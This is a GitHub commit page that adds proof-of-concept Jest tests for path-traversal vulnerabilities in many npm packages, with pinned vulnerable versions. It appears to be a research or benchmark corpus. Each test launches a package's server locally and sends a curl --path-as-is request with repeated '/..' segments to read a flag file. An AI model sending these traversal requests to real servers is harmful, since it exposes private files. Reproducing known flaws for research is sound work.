-
Notifications
You must be signed in to change notification settings - Fork 6
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
new structure with updated package.json
- Loading branch information
1 parent
9256a5e
commit 96181e2
Showing
586 changed files
with
9,105 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,28 @@ | ||
// | ||
const path = require("path"); | ||
const { sleep } = require("sleep"); | ||
const pathToFlag = path.resolve(__dirname, "../flag.html"); | ||
|
||
function genstr(n) { | ||
return "/..".repeat(50) + pathToFlag; | ||
} | ||
|
||
test("Path Traversal in 11xiaoli", (done) => { | ||
const fs = require("fs"); | ||
const sleep = require("sleep"); | ||
const { exec } = require("child_process"); | ||
let hostsFile = fs.readFileSync(pathToFlag).toString(); | ||
|
||
let server = "node ./node_modules/11xiaoli/dome.js"; //to start the server | ||
let exe = exec(server, (error, stdout) => {}); //starting the server | ||
//console.log(exe.pid) | ||
sleep.sleep(2); | ||
let attack_string = `curl -v --path-as-is "http://127.0.0.1:8888${genstr()}"`; | ||
|
||
exec(attack_string, (error, stdout) => { | ||
//attack | ||
expect(stdout).toBe(hostsFile); | ||
|
||
done(); | ||
}); | ||
}); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,5 @@ | ||
{ | ||
"dependencies": { | ||
"11xiaoli": "1.1.0" | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,26 @@ | ||
// | ||
const path = require("path"); | ||
const pathToFlag = path.resolve(__dirname, "../flag.html"); | ||
|
||
function genstr(n) { | ||
return "/..".repeat(50) + pathToFlag; | ||
} | ||
|
||
test("Path Traversal in 22lixian", (done) => { | ||
const fs = require("fs"); | ||
const sleep = require("sleep"); | ||
const { exec } = require("child_process"); | ||
let hostsFile = fs.readFileSync(pathToFlag).toString(); | ||
|
||
let server = "node ./node_modules/22lixian/demo.js"; //to start the server | ||
exec(server, (error, stdout) => {}); //starting the server | ||
|
||
sleep.sleep(2); | ||
let attack_string = `curl -v --path-as-is "http://127.0.0.1:8888${genstr()}"`; | ||
|
||
exec(attack_string, (error, stdout) => { | ||
//attack | ||
expect(stdout).toBe(hostsFile); | ||
done(); | ||
}); | ||
}); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,5 @@ | ||
{ | ||
"dependencies": { | ||
"22lixian": "1.0.0" | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,5 @@ | ||
{ | ||
"dependencies": { | ||
"360class.jansenhm": "0.1.1" | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,5 @@ | ||
{ | ||
"dependencies": { | ||
"@vivaxy/here": "3.1.0" | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,28 @@ | ||
// | ||
const path = require("path"); | ||
const { sleep } = require("sleep"); | ||
const pathToFlag = path.resolve(__dirname, "../flag.html"); | ||
|
||
function genstr(n) { | ||
return "/..".repeat(50) + pathToFlag; | ||
} | ||
|
||
test("Path Traversal in @vivaxy/here", (done) => { | ||
const fs = require("fs"); | ||
const sleep = require("sleep"); | ||
const { exec } = require("child_process"); | ||
let hostsFile = fs.readFileSync(pathToFlag).toString(); | ||
|
||
let server = "node ./node_modules/@vivaxy/here/index.js"; //to start the server | ||
let exe = exec(server, (error, stdout) => {}); //starting the server | ||
//console.log(exe.pid) | ||
sleep.sleep(2); | ||
let attack_string = `curl -v --path-as-is "http://127.0.0.1:3000${genstr()}"`; | ||
|
||
exec(attack_string, (error, stdout) => { | ||
//attack | ||
expect(stdout).toBe(hostsFile); | ||
|
||
done(); | ||
}); | ||
}); |
Large diffs are not rendered by default.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,9 @@ | ||
var config = { | ||
localhost: { | ||
backend: __dirname + "/", | ||
frondend: __dirname + "/", | ||
baseTemp: "index.html", | ||
}, | ||
}; | ||
var pkg = require("web-node-server"); | ||
pkg.start(config); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,5 @@ | ||
{ | ||
"dependencies": { | ||
"actionhero": "1.0.2" | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,5 @@ | ||
{ | ||
"dependencies": { | ||
"adm-zip": "0.5.0" | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,5 @@ | ||
{ | ||
"dependencies": { | ||
"algo-httpserv": "1.1.0" | ||
} | ||
} |
28 changes: 28 additions & 0 deletions
28
path-traversal/angular-http-server_1.0.0/angular-http-server.test.js
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,28 @@ | ||
// | ||
const path = require("path"); | ||
const { sleep } = require("sleep"); | ||
const pathToFlag = path.resolve(__dirname, "../flag.html"); | ||
|
||
function genstr(n) { | ||
return "/..".repeat(50) + pathToFlag; | ||
} | ||
|
||
test("Path Traversal in angular-http-server", (done) => { | ||
const fs = require("fs"); | ||
const sleep = require("sleep"); | ||
const { exec } = require("child_process"); | ||
let hostsFile = fs.readFileSync(pathToFlag).toString(); | ||
|
||
let server = "node ./node_modules/angular-http-server/angular-http-server.js"; //to start the server | ||
let exe = exec(server, (error, stdout) => {}); //starting the server | ||
//console.log(exe.pid) | ||
sleep.sleep(2); | ||
let attack_string = `curl -v --path-as-is "http://127.0.0.1:8000${genstr()}"`; | ||
|
||
exec(attack_string, (error, stdout) => { | ||
//attack | ||
expect(stdout).toBe(hostsFile); | ||
|
||
done(); | ||
}); | ||
}); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,5 @@ | ||
{ | ||
"dependencies": { | ||
"angular-http-server": "1.0.0" | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,22 @@ | ||
//https://github.com/JacksonGL/NPM-Vuln-PoC/blob/master/directory-traversal/api-proxy/test.js | ||
const path = require("path"); | ||
const pathToFlag = path.resolve(__dirname, "../flag.html"); | ||
|
||
function genstr(n) { | ||
return "/..".repeat(50) + pathToFlag; | ||
} | ||
|
||
test("Path Traversal in api-proxy", (done) => { | ||
const fs = require("fs"); | ||
const { exec } = require("child_process"); | ||
let hostsFile = fs.readFileSync(pathToFlag).toString(); | ||
|
||
require("api-proxy").start(8888); //starting the server. | ||
|
||
let attack_string = `curl -v --path-as-is "http://127.0.0.1:8888${genstr()}"`; | ||
|
||
exec(attack_string, (error, stdout) => { | ||
expect(stdout).toBe(hostsFile); | ||
done(); | ||
}); | ||
}); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,5 @@ | ||
{ | ||
"dependencies": { | ||
"api-proxy": "0.0.2" | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,5 @@ | ||
{ | ||
"dependencies": { | ||
"aso-server": "0.4.3" | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,23 @@ | ||
//https://github.com/JacksonGL/NPM-Vuln-PoC/blob/master/directory-traversal/asset-cache/test.js | ||
const path = require("path"); | ||
const pathToFlag = path.resolve(__dirname, "../flag.html"); | ||
|
||
function genstr(n) { | ||
return "/..".repeat(50) + pathToFlag; | ||
} | ||
|
||
test("Path Traversal in asset-cache", (done) => { | ||
const pkg = require("asset-cache"); | ||
const fs = require("fs"); | ||
const { exec } = require("child_process"); | ||
let hostsFile = fs.readFileSync(pathToFlag).toString(); | ||
|
||
pkg.listen(9000, function () {}); | ||
|
||
let attack_string = `curl -v --path-as-is "http://127.0.0.1:9000${genstr()}"`; | ||
|
||
exec(attack_string, (error, stdout) => { | ||
expect(stdout).toBe(hostsFile); | ||
done(); | ||
}); | ||
}); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,5 @@ | ||
{ | ||
"dependencies": { | ||
"asset-cache": "0.0.6" | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,5 @@ | ||
{ | ||
"dependencies": { | ||
"atompm": "0.8.0" | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,26 @@ | ||
//https://github.com/JacksonGL/NPM-Vuln-PoC/blob/master/directory-traversal/atropa-ide/test.js | ||
const path = require("path"); | ||
const pathToFlag = path.resolve(__dirname, "../flag.html"); | ||
|
||
function genstr(n) { | ||
return "/..".repeat(50) + pathToFlag; | ||
} | ||
|
||
test("Path Traversal in atropa-ide", (done) => { | ||
const ide = require("atropa-ide"); | ||
const fs = require("fs"); | ||
const { exec } = require("child_process"); | ||
let hostsFile = fs.readFileSync(pathToFlag).toString(); | ||
|
||
const path = require("path"); | ||
let port = 8884; | ||
let serverRoot = path.resolve(__dirname); | ||
ide.start(port, serverRoot); | ||
|
||
let attack_string = `curl -v --path-as-is "http://127.0.0.1:8884${genstr()}"`; | ||
|
||
exec(attack_string, (error, stdout) => { | ||
expect(stdout).toBe(hostsFile); | ||
done(); | ||
}); | ||
}); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,5 @@ | ||
{ | ||
"dependencies": { | ||
"atropa-ide": "0.2.2-2" | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,5 @@ | ||
{ | ||
"dependencies": { | ||
"atropa-server": "0.5.2" | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,26 @@ | ||
//https://hackerone.com/reports/296282 | ||
const path = require("path"); | ||
const pathToFlag = path.resolve(__dirname, "../flag.html"); | ||
|
||
function genstr(n) { | ||
return "/..".repeat(50) + pathToFlag; | ||
} | ||
|
||
test("Path Traversal in augustine", (done) => { | ||
const fs = require("fs"); | ||
const sleep = require("sleep"); | ||
const { exec } = require("child_process"); | ||
let hostsFile = fs.readFileSync(pathToFlag).toString(); | ||
|
||
let server = "node ./node_modules/augustine/bin/augustine.js -p 8968"; //to start the server | ||
exec(server, (error, stdout) => {}); //starting the server | ||
|
||
sleep.sleep(2); | ||
let attack_string = `curl -v --path-as-is "http://127.0.0.1:8968${genstr()}"`; | ||
|
||
exec(attack_string, (error, stdout) => { | ||
//attack | ||
expect(stdout).toBe(hostsFile); | ||
done(); | ||
}); | ||
}); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,5 @@ | ||
{ | ||
"dependencies": { | ||
"augustine": "0.2.3" | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,23 @@ | ||
// | ||
const path = require("path"); | ||
const pathToFlag = path.resolve(__dirname, "../flag.html"); | ||
|
||
function genstr(n) { | ||
return "/..".repeat(50) + pathToFlag; | ||
} | ||
|
||
test("Path Traversal in awning", (done) => { | ||
const Awning = require("awning").HttpServer; | ||
const fs = require("fs"); | ||
const { exec } = require("child_process"); | ||
let hostsFile = fs.readFileSync(pathToFlag).toString(); | ||
|
||
let server = new Awning(8886); | ||
|
||
let attack_string = `curl -v --path-as-is "http://127.0.0.1:8886${genstr()}"`; | ||
|
||
exec(attack_string, (error, stdout) => { | ||
expect(stdout).toBe(hostsFile); | ||
done(); | ||
}); | ||
}); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,5 @@ | ||
{ | ||
"dependencies": { | ||
"awning": "0.1.0" | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,5 @@ | ||
{ | ||
"dependencies": { | ||
"badjs-sourcemap-server": "0.0.1" | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,27 @@ | ||
//https://github.com/JacksonGL/NPM-Vuln-PoC/blob/master/directory-traversal/bae-nodejs/test.js | ||
const path = require("path"); | ||
const { sleep } = require("sleep"); | ||
const pathToFlag = path.resolve(__dirname, "../flag.html"); | ||
|
||
function genstr(n) { | ||
return "/..".repeat(50) + pathToFlag; | ||
} | ||
|
||
test("Path Traversal in bae-nodejs", (done) => { | ||
const pkg = require("bae-nodejs"); | ||
const fs = require("fs"); | ||
const { exec } = require("child_process"); | ||
let hostsFile = fs.readFileSync(pathToFlag).toString(); | ||
|
||
pkg.start(__dirname); | ||
|
||
let attack_string = `curl -v --path-as-is "http://127.0.0.1:18080${genstr()}"`; | ||
|
||
exec(attack_string, (error, stdout) => { | ||
expect(stdout).toBe(hostsFile); | ||
done(); | ||
}); | ||
|
||
// sleep(15); | ||
// exec('killall node', (error, stdout) => {}) | ||
}); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,5 @@ | ||
{ | ||
"dependencies": { | ||
"bae-nodejs": "1.0.0" | ||
} | ||
} |
Oops, something went wrong.